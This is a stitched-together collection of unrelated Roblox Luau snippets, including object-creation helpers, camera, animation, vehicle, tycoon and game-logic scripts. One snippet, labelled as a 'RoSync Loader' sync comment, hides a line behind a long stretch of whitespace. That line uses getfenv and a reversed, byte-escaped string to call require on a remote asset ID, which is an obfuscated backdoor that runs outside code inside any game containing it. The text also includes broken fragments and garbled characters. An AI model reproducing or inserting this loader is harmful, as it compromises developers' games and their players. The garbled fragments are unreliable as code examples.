Roblox/luau_corpus huggingface dataset:
--the Create function need to be created as a functor, not a function, in order to support the Create.E syntax, so it
--will be created in several steps rather than as a single function declaration.
local function Create_PrivImpl(objectType)
	if type(objectType) ~= 'string' then
		error("Argument of Create must be a string", 2)
	end
	--return the proxy function that gives us the nice Create'string'{data} syntax
	--The first function call is a function call using Lua's single-string-argument syntax
	--The second function call is using Lua's single-table-argument syntax
	--Both can be chained together for the nice effect.
	return function(dat)
		--default to nothing, to handle the no argument given case
		dat = dat or {}

		--make the object to mutate
		local obj = Instance.new(objectType)
		local parent = nil

		--stored constructor function to be called after other initialization
		local ctor = nil

		for k, v in pairs(dat) do
			--add property
			if type(k) == 'string' then
				if k == 'Parent' then
					-- Parent should always be set last, setting the Parent of a new object
					-- immediately makes performance worse for all subsequent property updates.
					parent = v
				else
					obj[k] = v
				end


			--add child
			elseif type(k) == 'number' then
				if type(v) ~= 'userdata' then
					error("Bad entry in Create body: Numeric keys must be paired with children, got a: "..type(v), 2)
				end
				v.Parent = obj


			--event connect
			elseif type(k) == 'table' and k.__eventname then
				if type(v) ~= 'function' then
					error("Bad entry in Create body: Key `[Create.E\'"..k.__eventname.."\']` must have a function value\
					       got: "..tostring(v), 2)
				end
				obj[k.__eventname]:Connect(v)


			--define constructor function
			elseif k == t.Create then
				if type(v) ~= 'function' then
					error("Bad entry in Create body: Key `[Create]` should be paired with a constructor function, \
					       got: "..tostring(v), 2)
				elseif ctor then
					--ctor already exists, only one allowed
					error("Bad entry in Create body: Only one constructor function is allowed", 2)
				end
				ctor = v


			else
				error("Bad entry ("..tostring(k).." => "..tostring(v)..") in Create body", 2)
			end
		end

		--apply constructor function if it exists
		if ctor then
			ctor(obj)
		end
		
		if parent then
			obj.Parent = parent
		end

		--return the completed object
		return obj
	end
end
--[[
	Returns the cached character appearance of specified userId, or nil if it does not exist
]]
function CharacterAppearanceCache.getCharacterAppearance(userId)
	if appearanceCache[tostring(userId)] then
		return appearanceCache[tostring(userId)]
	else
		Logger.warn("Tried to get character model for ", userId, ", but it doesn't exist!")
		return nil
	end
end
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name

return function(data)
	local color = data.Color
	local playergui = service.PlayerGui
	local localplayer = service.Players.LocalPlayer
	local mouse = localplayer:GetMouse()
	local gui = script.Parent.Parent
	
	if color=='off' then
		local guis = client.UI.Get("BChat")
		if guis then
			for i,v in pairs(guis) do
				if v ~= gui then
					v:Destroy()
				end
			end
			gui:Destroy()
		end
	else
		if playergui:FindFirstChild(gui.Name) then 
			playergui[gui.Name]:Destroy() 
		end
		
		local box = gui.Frame.Box
		local close = gui.Frame.Close
		
		box.Text='Click here or press ";" to chat'
		
		box.FocusLost:connect(function(enterPressed)
			if enterPressed and localplayer.Character:FindFirstChild('Head') and color and box.Text~='Click here or press ";" to chat' then
				service.ChatService:Chat(localplayer.Character.Head,service.LaxFilter(box.Text),color)
				box.Text='Click here or press ";" to chat'
			end
		end)
		
		mouse.KeyDown:connect(function(key)
			if key==';' then
				box:CaptureFocus()
			end
		end)
		
		close.MouseButton1Click:connect(function()
			gui:Destroy()
		end)
		
		gTable:Ready()
	end
end
-- Called when character is about to be removed
function Poppercam:CharacterRemoving(char, player)
	self.playerCharacters[player] = nil
end

function Poppercam:Update(dt, desiredCameraCFrame, desiredCameraFocus)
	if self.popperEnabled then
		self.camera = game.Workspace.CurrentCamera
		local newCameraCFrame = desiredCameraCFrame
		local focusPoint = desiredCameraFocus.p

		if FFlagUserPortraitPopperFix and self.subjectPart then
			focusPoint = self.subjectPart.CFrame.p
		end

		local ignoreList = {}
		for _, character in pairs(self.playerCharacters) do
			ignoreList[#ignoreList + 1] = character
		end
		for i = 1, #self.vehicleParts do
			ignoreList[#ignoreList + 1] = self.vehicleParts[i]
		end
		
		-- Get largest cutoff distance
		-- Note that the camera CFrame must be set here, because the current implementation of GetLargestCutoffDistance
		-- uses the current camera CFrame directly (it cannot yet be passed the desiredCameraCFrame).
		local prevCameraCFrame = self.camera.CFrame
		self.camera.CFrame = desiredCameraCFrame
		self.camera.Focus = desiredCameraFocus
		local largest = self.camera:GetLargestCutoffDistance(ignoreList)

		-- Then check if the player zoomed since the last frame,
		-- and if so, reset our pop history so we stop tweening
		local zoomLevel = (desiredCameraCFrame.p - focusPoint).Magnitude
		if math.abs(zoomLevel - self.lastZoomLevel) > 0.001 then
			self.lastPopAmount = 0
		end
		
		-- Finally, zoom the camera in (pop) by that most-cut-off amount, or the last pop amount if that's more
		local popAmount = largest
		if self.lastPopAmount > popAmount then
			popAmount = self.lastPopAmount
		end

		if popAmount > 0 then
			newCameraCFrame = desiredCameraCFrame + (desiredCameraCFrame.lookVector * popAmount)
			self.lastPopAmount = popAmount - POP_RESTORE_RATE -- Shrink it for the next frame
			if self.lastPopAmount < 0 then
				self.lastPopAmount = 0
			end
		end

		self.lastZoomLevel = zoomLevel
		
		-- Stop shift lock being able to see through walls by manipulating Camera focus inside the wall
--print("player is closer than 10 studs, prioritize")
else
if closestPlayerDist < closestBuildingDist then
------------------------------|åˆ†å‰²çº¿|------------------------------

function BezierCurve.LinearBezierCurves(Frame , FPS , Target , Position1 , Position2)

	if typeof(Position1) ~= "Vector3" then
		Position1 = Position1.Position
	end

	if typeof(Position2) ~= "Vector3" then
		Position2 = Position2.Position
	end

	for Index = 0 , Frame , 1 do

		local Time = Index / Frame

		Target.Position = BezierCurve.Lerp(Position1 , Position2 , Time)

		task.wait(1 / FPS)
	end

end

function BezierCurve.QuadraticBezierCurves(Frame , FPS , Target , Position1 , Position2 , Position3)

	if typeof(Position1) ~= "Vector3" then
		Position1 = Position1.Position
	end

	if typeof(Position2) ~= "Vector3" then
		Position2 = Position2.Position
	end

	if typeof(Position3) ~= "Vector3" then
		Position3 = Position3.Position
	end

	for Index = 0 , Frame , 1 do

		local Time = Index / Frame

		local Lerp1 = BezierCurve.Lerp(Position1 , Position2 , Time)
		local Lerp2 = BezierCurve.Lerp(Position2 , Position3 , Time)

		Target.Position = BezierCurve.Lerp(Lerp1 , Lerp2 , Time)

		task.wait(1 / FPS)

	end

end

function BezierCurve.CubicBezierCurves(Frame , FPS , Target , Position1:Vector3 , Position2 , Position3 , Position4)

	if typeof(Position1) ~= "Vector3" then
		Position1 = Position1.Position
	end

	if typeof(Position2) ~= "Vector3" then
		Position2 = Position2.Position
	end

	if typeof(Position3) ~= "Vector3" then
		Position3 = Position3.Position
	end

	if typeof(Position4) ~= "Vector3" then
		Position4 = Position4.Position
	end

	for Index = 0 , Frame , 1 do

		local Time = Index / Frame

		local Lerp1 = BezierCurve.Lerp(Position1 , Position2 , Time)
		local Lerp2 = BezierCurve.Lerp(Position2 , Position3 , Time)
		local Lerp3 = BezierCurve.Lerp(Position3 , Position4 , Time)

		local InLerp1 = BezierCurve.Lerp(Lerp1 , Lerp2 , Time)
		local InLerp2 = BezierCurve.Lerp(Lerp2 , Lerp3 , Time)

		Target.Position = BezierCurve.Lerp(InLerp1 , InLerp2 , Time)

		task.wait(1 / FPS)

	end

end
--[[
	Singleton manager that controls the systems on the ship. 
]]
local ServerStorage = game:GetService("ServerStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")

local TableUtils = require(ReplicatedStorage.Dependencies.LuaUtils.TableUtils)
local Constants = require(ReplicatedStorage.Source.Common.Constants)
local Engine = require(ServerStorage.Source.Systems.Engine)
local Gravity = require(ServerStorage.Source.Systems.Gravity)
local Generator = require(ServerStorage.Source.Systems.Generator)
local Lights = require(ServerStorage.Source.Systems.Lights)
local Camera = require(ServerStorage.Source.Systems.Camera)
local Shield = require(ServerStorage.Source.Systems.Shield)

local SystemManager = {}

local systems = {}
--geração de zumbis
local part = game:GetService("ServerStorage").Zombie

while (true) do
	wait(5)
	local novaparte = part:Clone()
	portal = math.random(1,4)
	
	if portal == 1 then
		novaparte.Humanoid.RootPart.Position = workspace.Portal1.Position
	elseif portal == 2 then
		novaparte.Humanoid.RootPart.Position = workspace.Portal2.Position
	elseif portal == 3 then
		novaparte.Humanoid.RootPart.Position = workspace.Portal4.Position
		
		else
	end
	
	novaparte.Parent = workspace
	
	
	
	
	
	
	
	
	
end
------------------------------------------------------------------------
-- parse a local function statement
-- * used in statements()
------------------------------------------------------------------------
function luaY:localfunc(ls)
  local v, b = {}, {}  -- expdesc
  local fs = ls.fs
  self:new_localvar(ls, self:str_checkname(ls), 0)
  self:init_exp(v, "VLOCAL", fs.freereg)
  luaK:reserveregs(fs, 1)
  self:adjustlocalvars(ls, 1)
  self:body(ls, b, false, ls.linenumber)
  luaK:storevar(fs, v, b)
  -- debug information will only see the variable after this point!
  self:getlocvar(fs, fs.nactvar - 1).startpc = fs.pc
end
-- note: JS version can return anything that's truthy, but that won't work for us since Lua deviates (0 is truthy)
type callbackFn<T> = (element: T, index: number, array: Array<T>) -> boolean
type callbackFnWithThisArg<T, U> = (thisArg: U, element: T, index: number, array: Array<T>) -> boolean
type Object = { [string]: any }
--You can change the values below to suit your needs

local max_mode = 13 --The maximum amount of modes forwards. Set to 0 to disable forwards motion.

local min_mode = -14 --The minimum amount of modes backwards. Set to 0 to disable backwards motion.

local increment_speed = 0.2 --The amount in which the speed value increments with every mode.
--Night12207
wait(1)
local character = script.Parent

character.HumanoidRootPart.Touched:Connect(function(hit)
	if hit:IsA("BasePart") and hit.Locked == false then
		hit.CanCollide = false
		wait(5)
		hit.CanCollide = true
	else
		print("Child is not a basePart or is Locked")
	end
end)
---------------------------------------------------------------
function onChildAdded(child)
	if child.Name == "SeatWeld" then
		local human = child.part1.Parent:findFirstChild("Humanoid") 
		if (human ~= nil) then
			print("Human IN")
			seat.SirenControl.Control.CarName.Value = human.Parent.Name.."s Car"
			s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
			seat.Start:Play()
			wait(1)
			seat.Start:Stop()
			seat.Engine:Play()
		end
	end
end

function onChildRemoved(child)
	if (child.Name == "SeatWeld") then	
		local human = child.part1.Parent:findFirstChild("Humanoid") 
		if (human ~= nil) then
			print("Human OUT")
			seat.SirenControl.Control.CarName.Value = "Empty Car"
			game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove()
			seat.Engine:Stop()
		end
	end
end


script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
-- emote bindable hook
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
	-- Only play emotes when idling
	if pose ~= "Standing" then
		return
	end

	if emoteNames[emote] ~= nil then
		-- Default emotes
		playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
		
		if userPlayEmoteByIdAnimTrackReturn then
			return true, currentAnimTrack
		else
			return true
		end
	elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
		-- Non-default emotes
		playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)

		if userPlayEmoteByIdAnimTrackReturn then
			return true, currentAnimTrack
		else
			return true
		end
	end
	
	-- Return false to indicate that the emote could not be played
	return false
end

if Character.Parent ~= nil then
	-- initialize to idle
	playAnimation("idle", 0.1, Humanoid)
	pose = "Standing"
end
----------------------------------------------

local PlayerStatManager = require(script.Parent:WaitForChild("PlayerStatManager"))

local serverStorage = game:GetService("ServerStorage")
local replicatedStorage = game:GetService("ReplicatedStorage")
local playerMoney = serverStorage:WaitForChild("PlayerMoney")
local purchaseHandlerNew = content.PurchaseHandlerNew
local players = game:GetService("Players")
local runService = game:GetService("RunService")
local staterGui = game:GetService("StarterGui")

local allObjects = {}

local TycoonSettings = require(script.Parent.Settings)

local Settings = require(script.Settings)
local RebirthSettings = Settings.Rebirth
local TestSettings = Settings.Test

local rebirthEvent = content:WaitForChild("RebirthEvent (Don't Move)")
local touchAllTycoonButtons = content:WaitForChild("TouchAllTycoonButtons")
local giveCashEvent = content:WaitForChild("GiveCash")
local rebirthGui = content:WaitForChild("RebirthGui (Don't Move)")
local touchTycoonButtonsGui = content:FindFirstChild("TouchTycoonButtons")

rebirthEvent.Parent = replicatedStorage
if touchTycoonButtonsGui then
	if runService:IsStudio() or TestSettings.showTouchTycoonButtonsGuiOutsideStudio then
		touchAllTycoonButtons.Parent = replicatedStorage
		giveCashEvent.Parent = replicatedStorage
		touchTycoonButtonsGui.Parent = staterGui 
	else
		touchAllTycoonButtons:Destroy()
		giveCashEvent:Destroy()
		touchTycoonButtonsGui:Destroy()
	end
end
local AllTycoons = {}
for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
	AllTycoons[v.Name] = v:Clone()
end
--[[ Last synced 10/14/2020 09:34 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[**
	This function allows the developer to schedule the removal of the object without yielding any code. It is the suggested alternative to Debris:AddItem, as this doesn't use the legacy scheduler and also supports tables with a Destroy / destroy method.

	@param [t:union<t:Instance, t:table, t:RBXScriptConnection, t:userdata>] Object The object to be added to destroy scheduler.
	@param [t:optional<t:numberMin<0>>] Lifetime The number of seconds before the object should be destroyed. Defaults to 10.
	@returns [void]
**--]]
function Scheduler.AddItem(Object, Lifetime)
	assert(AddItemTuple(Object, Lifetime))
	local ExecuteTime = tick() + (Lifetime or 10)
	local Connection

	Connection = Heartbeat:Connect(function()
		if tick() >= ExecuteTime then
			Connection:Disconnect()
			if Object then
				if Object.Destroy then
					pcall(Object.Destroy, Object)
				elseif Object.destroy then
					pcall(Object.destroy, Object)
				elseif Object.Disconnect then
					pcall(Object.Disconnect, Object)
				elseif Object.disconnect then
					pcall(Object.disconnect, Object)
				end
			end
		end
	end)

	return Connection
end

return Scheduler
--[[
	Calls a callback on `finally` with specific arguments.
]]
function Promise.prototype:finallyCall(callback, ...)
	assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:finallyCall"))
	local length, values = pack(...)
	return self:_finally(debug.traceback(nil, 2), function()
		return callback(unpack(values, 1, length))
	end)
end
-- Detect when prompt hold begins
local function onPromptHoldBegan(promptObject, player)
	ObjectActions.promptHoldBeganActions(promptObject, player)
end
--		print("Keyframe : ".. frameName)

		local repeatAnim = currentAnim
		
		local animSpeed = currentAnimSpeed
		playAnimation(repeatAnim, 0.0, Humanoid)
		setAnimationSpeed(animSpeed)
	end
end
-- Initialize
function PointsService:KnitInit()

    local rng = Random.new()

    -- Give player random amount of points:
    self.Client.GiveMePoints:Connect(function(player)
        local points = rng:NextInteger(0, 10)
        self:AddPoints(player, points)
        print("Gave " .. player.Name .. " " .. points .. " points")
    end)

    -- Clean up data when player leaves:
    game:GetService("Players").PlayerRemoving:Connect(function(player)
        self.PointsPerPlayer[player] = nil
		print("Cleaned up "..player.Name.."'s data because they left!")
    end)

end

return PointsService
-- Initialize anchor tool
local AnchorTool = require(CoreTools:WaitForChild 'Anchor')
Core.AssignHotkey('M', Core.Support.Call(Core.EquipTool, AnchorTool));
Core.AddToolButton(Core.Assets.AnchorIcon, 'M', AnchorTool)
--[[Wheel Alignment]]
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -2
	Tune.RCamber		= -2
	Tune.FCaster		= 0
	Tune.RCaster		= 0	--Will only work with 4WS enabled (Avxnturador)
	Tune.FToe			= 0	
	Tune.RToe			= 0
-- Provides a nice syntax for creating Roblox instances.
-- Example:
--	local newPart = Utility.Create("Part") {
--		Parent = workspace,
--		Anchored = true,
--
--		--Create a SpecialMesh as a child of this part too
--		Utility.Create("SpecialMesh") {
--			MeshId = "rbxassetid://...",
--			Scale = Vector3.new(0.5, 0.2, 10)
--		}
--	}
function CommonUtil.Create(instanceType)
	return function(data)
		local obj = Instance.new(instanceType)
		local parent = nil
		for k, v in pairs(data) do
			if type(k) == 'number' then
				v.Parent = obj
			elseif k == 'Parent' then
				parent = v
			else
				obj[k] = v
			end
		end
		if parent then
			obj.Parent = parent
		end
		return obj
	end
end

return CommonUtil
--!strict
local None = require(script.Parent.None)
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Object = types.Object
-----------------------------------------------------------------------------------------------

local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local bike = script.Parent.Parent.Bike.Value
local _Tune = require(bike["Tuner"])

local gauges = script.Parent
local values = script.Parent.Parent.Values
local isOn = script.Parent.Parent.IsOn

gauges:WaitForChild("Speedo")
gauges:WaitForChild("Tach")
gauges:WaitForChild("Boost")
gauges:WaitForChild("ln")
gauges:WaitForChild("bln")
gauges:WaitForChild("Gear")
gauges:WaitForChild("Speed")

bike.DriveSeat.HeadsUpDisplay = false

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

if not _Tune.Engine and _Tune.Electric then _lRPM = _Tune.ElecRedline _pRPM = _Tune.ElecTransition2 end

local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
--[[
	Package link auto-generated by Rotriever
]]
local PackageIndex = script.Parent._Index

local Package = require(PackageIndex["ExperienceComponents"]["ExperienceComponents"])

export type MultiSelectFormOption = Package.MultiSelectFormOption


return Package
--[=[
	@param value any
	@return boolean
	Returns `true` if this option contains `value`.
]=]
function Option:Contains(value)
	return self:IsSome() and self._v == value
end
-- plr is 'player'
-- item is the 'tool' or 'key' clicked on
function module.Clicked (plr, item)
    
    -- 1. Check is player exists (not nil) and player is not Piggy
    if plr then 
        if plr.Character and not plr:FindFirstChild("Piggy") then
            
            -- 2. Get the position of the part so we can swap parts
            -- models do not have position as a property, rather a PrimaryPart property which is generally the handle (some invisible part)
            
            local position
            if item:IsA("Model") then
                position = item.PrimaryPart.Position
            else
                position = item.Position
            end
            
            -- drop whatever is in the players backpack or equipped (if any)
            -- send in the player, the map and the position of the newly clicked item
            module.DropTools(plr, game.Workspace.Map, position)
            print ("Dropped Keyhandles")
            
            --3. Put a copy of the serverstorage item in the players backpack
            if game.ServerStorage.Tools:FindFirstChild(item.Name) then
                -- clone server copy
                local clonedTool = game.ServerStorage.Tools[item.Name]:Clone()
                
                -- put it in the players backpack
                clonedTool.Parent = plr.Backpack
                
                -- auto equip it
                plr.Character.Humanoid:EquipTool(clonedTool)
                
                -- destroy the part on the map
                item:Destroy()
                
                print ("Equipped the tool")
            end
            
        end        
    end
    
end

return module
-- constants

local CAMERA		= Workspace.CurrentCamera
local PLAYER		= Players.LocalPlayer
local PLAYER_GUI	= PLAYER:WaitForChild("PlayerGui")